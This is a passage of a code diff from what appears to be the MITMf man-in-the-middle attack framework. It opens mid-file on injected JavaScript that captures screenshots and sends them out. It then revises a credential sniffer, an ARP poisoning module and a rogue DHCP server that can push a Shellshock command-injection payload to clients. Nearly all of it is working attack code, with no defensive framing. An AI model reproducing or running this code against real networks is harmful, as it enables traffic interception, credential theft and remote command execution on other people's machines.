||||
var x=encodeURIComponent(dat);
|
||||
xmlhttp.send(x);
|
||||
}
|
||||
});
|
||||
},
|
||||
width: screen.width,
|
||||
height: screen.height
|
||||
});
|
||||
}
|
||||
|
||||
setInterval(function(){grab()}, SECONDS_GO_HERE);
|
|
@ -32,41 +32,37 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
|||
|
||||
app = Flask(__name__)
|
||||
|
||||
class mitmfapi:
|
||||
class mitmfapi(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
|
||||
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
|
||||
__shared_state = {}
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if mitmfapi._instance is None:
|
||||
mitmfapi._instance = mitmfapi()
|
||||
|
||||
return mitmfapi._instance
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
self.host = self.config['MITMf']['MITMf-API']['host']
|
||||
self.port = int(self.config['MITMf']['MITMf-API']['port'])
|
||||
|
||||
@app.route("/")
|
||||
def getPlugins():
|
||||
# example: http://127.0.0.1:9090/
|
||||
# example: http://127.0.0.1:9999/
|
||||
pdict = {}
|
||||
|
||||
#print ProxyPlugins.getInstance().plist
|
||||
for activated_plugin in ProxyPlugins.getInstance().plist:
|
||||
#print ProxyPlugins().plugin_list
|
||||
for activated_plugin in ProxyPlugins().plugin_list:
|
||||
pdict[activated_plugin.name] = True
|
||||
|
||||
#print ProxyPlugins.getInstance().plist_all
|
||||
for plugin in ProxyPlugins.getInstance().plist_all:
|
||||
#print ProxyPlugins().all_plugins
|
||||
for plugin in ProxyPlugins().all_plugins:
|
||||
if plugin.name not in pdict:
|
||||
pdict[plugin.name] = False
|
||||
|
||||
#print ProxyPlugins.getInstance().pmthds
|
||||
#print ProxyPlugins().pmthds
|
||||
|
||||
return json.dumps(pdict)
|
||||
|
||||
@app.route("/<plugin>")
|
||||
def getPluginStatus(plugin):
|
||||
# example: http://127.0.0.1:9090/cachekill
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
for p in ProxyPlugins().plugin_list:
|
||||
if plugin == p.name:
|
||||
return json.dumps("1")
|
||||
|
||||
|
@ -77,15 +73,15 @@ class mitmfapi:
|
|||
# example: http://127.0.0.1:9090/cachekill/1 # enabled
|
||||
# example: http://127.0.0.1:9090/cachekill/0 # disabled
|
||||
if status == "1":
|
||||
for p in ProxyPlugins.getInstance().plist_all:
|
||||
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
|
||||
ProxyPlugins.getInstance().addPlugin(p)
|
||||
for p in ProxyPlugins().all_plugins:
|
||||
if (p.name == plugin) and (p not in ProxyPlugins().plugin_list):
|
||||
ProxyPlugins().addPlugin(p)
|
||||
return json.dumps({"plugin": plugin, "response": "success"})
|
||||
|
||||
elif status == "0":
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
for p in ProxyPlugins().plugin_list:
|
||||
if p.name == plugin:
|
||||
ProxyPlugins.getInstance().removePlugin(p)
|
||||
ProxyPlugins().removePlugin(p)
|
||||
return json.dumps({"plugin": plugin, "response": "success"})
|
||||
|
||||
return json.dumps({"plugin": plugin, "response": "failed"})
|
||||
|
|
|
@ -5,6 +5,7 @@ import base64
|
|||
import threading
|
||||
import binascii
|
||||
|
||||
from core.logger import logger
|
||||
from os import geteuid, devnull
|
||||
from sys import exit
|
||||
from urllib import unquote
|
||||
|
@ -16,7 +17,8 @@ from urllib import unquote
|
|||
from scapy.all import *
|
||||
conf.verb=0
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("NetCreds", formatter)
|
||||
|
||||
DN = open(devnull, 'w')
|
||||
pkt_frag_loads = OrderedDict()
|
||||
|
@ -43,11 +45,11 @@ class NetCreds:
|
|||
|
||||
version = "1.0"
|
||||
|
||||
def sniffer(self, interface):
|
||||
sniff(iface=interface, prn=pkt_parser, store=0)
|
||||
def sniffer(self, interface, ip):
|
||||
sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(ip), store=0)
|
||||
|
||||
def start(self, interface):
|
||||
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,))
|
||||
def start(self, interface, ip):
|
||||
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
|
@ -897,7 +899,7 @@ def printer(src_ip_port, dst_ip_port, msg):
|
|||
print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg)
|
||||
# All credentials will have dst_ip_port, URLs will not
|
||||
|
||||
log.info("[NetCreds] {}".format(print_str))
|
||||
log.info("{}".format(print_str))
|
||||
else:
|
||||
print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg)
|
||||
log.info("[NetCreds] {}".format(print_str))
|
||||
log.info("{}".format(print_str))
|
||||
|
|
|
@ -16,15 +16,12 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
import threading
|
||||
import logging
|
||||
|
||||
from traceback import print_exc
|
||||
import threading
|
||||
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
|
||||
from core.logger import logger
|
||||
from core.utils import set_ip_forwarding, iptables
|
||||
from time import sleep
|
||||
from scapy.all import ARP, send, sendp, sniff, getmacbyip
|
||||
from scapy.all import *
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ARPpoisoner", formatter)
|
||||
|
@ -36,78 +33,101 @@ class ARPpoisoner:
|
|||
version = '0.1'
|
||||
|
||||
def __init__(self, options):
|
||||
|
||||
try:
|
||||
self.gatewayip = str(IPAddress(options.gateway))
|
||||
except AddrFormatError as e:
|
||||
sys.exit("Specified an invalid IP address as gateway")
|
||||
|
||||
self.gatewaymac = getmacbyip(options.gateway)
|
||||
self.targets = self.get_target_range(options.targets)
|
||||
if self.gatewaymac is None: sys.exit("Error: Could not resolve gateway's MAC address")
|
||||
|
||||
self.ignore = self.get_range(options.ignore)
|
||||
if self.ignore is None: self.ignore = []
|
||||
|
||||
self.targets = self.get_range(options.targets)
|
||||
self.arpmode = options.arpmode
|
||||
self.debug = False
|
||||
self.send = True
|
||||
self.interval = 3
|
||||
self.interface = options.interface
|
||||
self.myip = options.ip
|
||||
self.mymac = options.mac
|
||||
|
||||
if self.gatewaymac is None:
|
||||
sys.exit("Error: Could not resolve gateway's MAC address")
|
||||
self.arp_cache = {}
|
||||
|
||||
log.debug("gatewayip => {}".format(self.gatewayip))
|
||||
log.debug("gatewaymac => {}".format(self.gatewaymac))
|
||||
log.debug("targets => {}".format(self.targets))
|
||||
log.debug("ignore => {}".format(self.ignore))
|
||||
log.debug("ip => {}".format(self.myip))
|
||||
log.debug("mac => {}".format(self.mymac))
|
||||
log.debug("interface => {}".format(self.interface))
|
||||
log.debug("arpmode => {}".format(self.arpmode))
|
||||
log.debug("interval => {}".format(self.interval))
|
||||
|
||||
set_ip_forwarding(1)
|
||||
iptables().flush()
|
||||
iptables().http(options.port)
|
||||
def start(self):
|
||||
|
||||
#create a L3 and L2 socket, to be used later to send ARP packets
|
||||
#this doubles performance since send() and sendp() open and close a socket on each packet
|
||||
self.s = conf.L3socket(iface=self.interface)
|
||||
self.s2 = conf.L2socket(iface=self.interface)
|
||||
|
||||
if self.arpmode == 'rep':
|
||||
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep)
|
||||
t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',))
|
||||
|
||||
elif self.arpmode == 'req':
|
||||
t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req)
|
||||
t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',))
|
||||
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if self.targets is None:
|
||||
log.debug('Starting ARPWatch')
|
||||
t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def get_target_range(self, targets):
|
||||
def get_range(self, targets):
|
||||
if targets is None:
|
||||
return None
|
||||
|
||||
try:
|
||||
targetList = []
|
||||
target_list = []
|
||||
for target in targets.split(','):
|
||||
|
||||
if '/' in target:
|
||||
targetList.append(IPNetwork(target))
|
||||
target_list.extend(list(IPNetwork(target)))
|
||||
|
||||
elif '-' in target:
|
||||
first_half = target.split('-')[0]
|
||||
second_half = first_half + target.split('-')[1]
|
||||
targetList.append(IPRange(first_half, second_half))
|
||||
start_addr = IPAddress(target.split('-')[0])
|
||||
try:
|
||||
end_addr = IPAddress(target.split('-')[1])
|
||||
ip_range = IPRange(start_addr, end_addr)
|
||||
except AddrFormatError:
|
||||
end_addr = list(start_addr.words)
|
||||
end_addr[-1] = target.split('-')[1]
|
||||
end_addr = IPAddress('.'.join(map(str, end_addr)))
|
||||
ip_range = IPRange(start_addr, end_addr)
|
||||
|
||||
target_list.extend(list(ip_range))
|
||||
|
||||
else:
|
||||
targetList.append(IPAddress(target))
|
||||
target_list.append(IPAddress(target))
|
||||
|
||||
return targetList
|
||||
except AddrFormatError as e:
|
||||
return target_list
|
||||
|
||||
except AddrFormatError:
|
||||
sys.exit("Specified an invalid IP address/range/network as target")
|
||||
|
||||
def start_arp_watch(self):
|
||||
sniff(prn=self.arp_watch_callback, filter="arp", store=0)
|
||||
try:
|
||||
sniff(prn=self.arp_watch_callback, filter="arp", store=0)
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("[ARPWatch] Exception occurred when invoking sniff(): {}".format(e))
|
||||
pass
|
||||
|
||||
def arp_watch_callback(self, pkt):
|
||||
if self.send is True: #Prevents sending packets on exiting
|
||||
if self.send is True:
|
||||
if ARP in pkt and pkt[ARP].op == 1: #who-has only
|
||||
#broadcast mac is 00:00:00:00:00:00
|
||||
packet = None
|
||||
|
@ -117,7 +137,7 @@ class ARPpoisoner:
|
|||
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
|
||||
|
||||
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
|
||||
log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
|
||||
log.debug("[ARPWatch] {} is asking where the Gateway is. Sending the \"I'm the gateway biatch!\" reply!".format(pkt[ARP].psrc))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
|
@ -126,7 +146,7 @@ class ARPpoisoner:
|
|||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
|
||||
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
|
||||
log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"I'm {} biatch!\" reply!".format(pkt[ARP].pdst, pkt[ARP].pdst))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
|
@ -135,7 +155,7 @@ class ARPpoisoner:
|
|||
packet.pdst = str(pkt[ARP].pdst)
|
||||
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
|
||||
log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
|
||||
log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"This is the h4xx0r box!\" reply!".format(pkt[ARP].pdst))
|
||||
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
|
@ -145,165 +165,87 @@ class ARPpoisoner:
|
|||
|
||||
try:
|
||||
if packet is not None:
|
||||
send(packet, verbose=self.debug, iface=self.interface)
|
||||
self.s.send(packet)
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
|
||||
pass
|
||||
|
||||
def poison_arp_rep(self):
|
||||
def resolve_target_mac(self, targetip):
|
||||
targetmac = None
|
||||
|
||||
try:
|
||||
targetmac = self.arp_cache[targetip] # see if we already resolved that address
|
||||
log.debug('{} has already been resolved'.format(targetip))
|
||||
except KeyError:
|
||||
#This following replaces getmacbyip(), much faster this way
|
||||
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
|
||||
try:
|
||||
resp, _ = sndrcv(self.s2, packet, timeout=2, verbose=False)
|
||||
except Exception as e:
|
||||
resp= ''
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
|
||||
if len(resp) > 0:
|
||||
targetmac = resp[0][1].hwsrc
|
||||
self.arp_cache[targetip] = targetmac # shove that address in our cache
|
||||
log.debug("Resolved {} => {}".format(targetip, targetmac))
|
||||
else:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
return targetmac
|
||||
|
||||
def poison(self, arpmode):
|
||||
sleep(2)
|
||||
while self.send:
|
||||
|
||||
if self.targets is None:
|
||||
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode))
|
||||
|
||||
elif self.targets:
|
||||
#Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it
|
||||
for target in self.targets:
|
||||
targetip = str(target)
|
||||
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
if (targetip != self.myip) and (target not in self.ignore):
|
||||
targetmac = self.resolve_target_mac(targetip)
|
||||
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
|
||||
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
if targetmac is not None:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
if targetmac is None:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
|
||||
send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
|
||||
|
||||
log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
|
||||
self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
|
||||
self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
print_exc()
|
||||
pass
|
||||
|
||||
sleep(self.interval)
|
||||
|
||||
def poison_arp_req(self):
|
||||
while self.send:
|
||||
|
||||
if self.targets is None:
|
||||
pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has")
|
||||
sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
elif self.targets:
|
||||
|
||||
for target in self.targets:
|
||||
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
if targetmac is None:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
sleep(self.interval)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address')
|
||||
options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]')
|
||||
options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
|
||||
|
||||
def on_shutdown(self, options):
|
||||
def stop(self):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
self.interval = 1
|
||||
count = 5
|
||||
count = 2
|
||||
|
||||
if self.targets:
|
||||
if self.targets is None:
|
||||
log.info("Restoring subnet connection with {} packets".format(count))
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
|
||||
for i in range(0, count):
|
||||
self.s2.send(pkt)
|
||||
|
||||
elif self.targets:
|
||||
for target in self.targets:
|
||||
targetip = str(target)
|
||||
targetmac = self.resolve_target_mac(targetip)
|
||||
|
||||
if type(target) is IPAddress:
|
||||
targetip = str(target)
|
||||
|
||||
if targetmac is not None:
|
||||
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
try:
|
||||
targetmac = getmacbyip(targetip)
|
||||
|
||||
if targetmac is None:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
for i in range(0, count):
|
||||
self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac))
|
||||
self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac))
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
if (type(target) is IPRange) or (type(target) is IPNetwork):
|
||||
for targetip in target:
|
||||
try:
|
||||
targetmac = getmacbyip(str(targetip))
|
||||
|
||||
if targetmac is None:
|
||||
log.debug("Unable to resolve MAC address of {}".format(targetip))
|
||||
|
||||
elif targetmac:
|
||||
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
|
||||
|
||||
send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
|
||||
send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
|
||||
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
|
||||
pass
|
||||
|
||||
elif self.targets is None:
|
||||
log.info("Restoring subnet connection with {} packets".format(count))
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
|
||||
sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
|
||||
|
||||
set_ip_forwarding(0)
|
||||
iptables().flush()
|
||||
#close the sockets
|
||||
self.s.close()
|
||||
self.s2.close()
|
||||
|
|
|
@ -20,6 +20,8 @@ import logging
|
|||
import threading
|
||||
import binascii
|
||||
import random
|
||||
|
||||
from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError
|
||||
from core.logger import logger
|
||||
from scapy.all import *
|
||||
|
||||
|
@ -28,98 +30,120 @@ log = logger().setup_logger("DHCPpoisoner", formatter)
|
|||
|
||||
class DHCPpoisoner():
|
||||
|
||||
def __init__(self, interface, dhcpcfg, ip, mac):
|
||||
self.interface = interface
|
||||
self.ip_address = ip
|
||||
self.mac_address = mac
|
||||
self.shellshock = None
|
||||
self.debug = False
|
||||
self.dhcpcfg = dhcpcfg
|
||||
self.rand_number = []
|
||||
self.dhcp_dic = {}
|
||||
def __init__(self, options, dhcpcfg):
|
||||
self.interface = options.interface
|
||||
self.ip_address = options.ip
|
||||
self.mac_address = options.mac
|
||||
self.shellshock = options.shellshock
|
||||
self.debug = False
|
||||
self.dhcpcfg = dhcpcfg
|
||||
self.dhcp_dic = {}
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
log.debug("interface => {}".format(self.interface))
|
||||
log.debug("ip => {}".format(self.ip_address))
|
||||
log.debug("mac => {}".format(self.mac_address))
|
||||
log.debug("shellshock => {}".format(self.shellshock))
|
||||
log.debug("dhcpcfg => {}".format(self.dhcpcfg))
|
||||
|
||||
def dhcp_sniff(self, interface):
|
||||
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
|
||||
def start(self):
|
||||
self.s2 = conf.L2socket(iface=self.interface)
|
||||
|
||||
def dhcp_rand_ip(self):
|
||||
pool = self.dhcpcfg['ip_pool'].split('-')
|
||||
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
|
||||
max_range = int(pool[1])
|
||||
min_range = int(pool[0].split('.')[3])
|
||||
number_range = range(min_range, max_range)
|
||||
for n in number_range:
|
||||
if n in self.rand_number:
|
||||
number_range.remove(n)
|
||||
rand_number = random.choice(number_range)
|
||||
self.rand_number.append(rand_number)
|
||||
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
|
||||
t = threading.Thread(name="DHCPpoisoner", target=self.dhcp_sniff)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
return rand_ip
|
||||
def stop(self):
|
||||
self.s2.close()
|
||||
|
||||
def dhcp_callback(self, resp):
|
||||
if resp.haslayer(DHCP):
|
||||
xid = resp[BOOTP].xid
|
||||
mac_addr = resp[Ether].src
|
||||
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
||||
if xid in self.dhcp_dic.keys():
|
||||
client_ip = self.dhcp_dic[xid]
|
||||
else:
|
||||
client_ip = self.dhcp_rand_ip()
|
||||
self.dhcp_dic[xid] = client_ip
|
||||
def dhcp_sniff(self):
|
||||
try:
|
||||
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
|
||||
except Exception as e:
|
||||
if "Interrupted system call" not in e:
|
||||
log.error("Exception occurred while poisoning: {}".format(e))
|
||||
|
||||
if resp[DHCP].options[0][1] is 1:
|
||||
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
log.info("Sending DHCP OFFER")
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "offer"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240),
|
||||
"end"]))
|
||||
def dhcp_rand_ip(self):
|
||||
pool = self.dhcpcfg['ip_pool']
|
||||
try:
|
||||
if '/' in pool:
|
||||
ips = list(IPNetwork(pool))
|
||||
return str(random.choice(ips))
|
||||
|
||||
try:
|
||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||
except KeyError:
|
||||
pass
|
||||
elif '-' in pool:
|
||||
start_addr = IPAddress(pool.split('-')[0])
|
||||
try:
|
||||
end_addr = IPAddress(pool.split('-')[1])
|
||||
ips = list(IPRange(start_addr, end_addr))
|
||||
except AddrFormatError:
|
||||
end_addr = list(start_addr.words)
|
||||
end_addr[-1] = pool.split('-')[1]
|
||||
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
end_addr = IPAddress('.'.join(map(str, end_addr)))
|
||||
ips = list(IPRange(start_addr, end_addr))
|
||||
|
||||
if resp[DHCP].options[0][1] is 3:
|
||||
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "ack"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240)]))
|
||||
return str(random.choice(ips))
|
||||
|
||||
try:
|
||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||
except KeyError:
|
||||
pass
|
||||
log.error('Specified invalid CIDR/Network range in DHCP pool option')
|
||||
except AddrFormatError:
|
||||
log.error('Specified invalid CIDR/Network range in DHCP pool option')
|
||||
|
||||
if self.shellshock:
|
||||
log.info("Sending DHCP ACK with shellshock payload")
|
||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||
packet[DHCP].options.append("end")
|
||||
else:
|
||||
log.info("Sending DHCP ACK")
|
||||
packet[DHCP].options.append("end")
|
||||
def dhcp_callback(self, resp):
|
||||
if resp.haslayer(DHCP):
|
||||
log.debug('Saw a DHCP packet')
|
||||
xid = resp[BOOTP].xid
|
||||
mac_addr = resp[Ether].src
|
||||
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
||||
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
if xid in self.dhcp_dic.keys():
|
||||
client_ip = self.dhcp_dic[xid]
|
||||
else:
|
||||
client_ip = self.dhcp_rand_ip()
|
||||
self.dhcp_dic[xid] = client_ip
|
||||
|
||||
if resp[DHCP].options[0][1] == 1:
|
||||
log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
log.info("Sending DHCP OFFER")
|
||||
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "offer"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', self.ip_address),
|
||||
('name_server', self.ip_address),
|
||||
('dns_server', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240),
|
||||
"end"]))
|
||||
|
||||
self.s2.send(packet)
|
||||
|
||||
if resp[DHCP].options[0][1] == 3:
|
||||
log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
|
||||
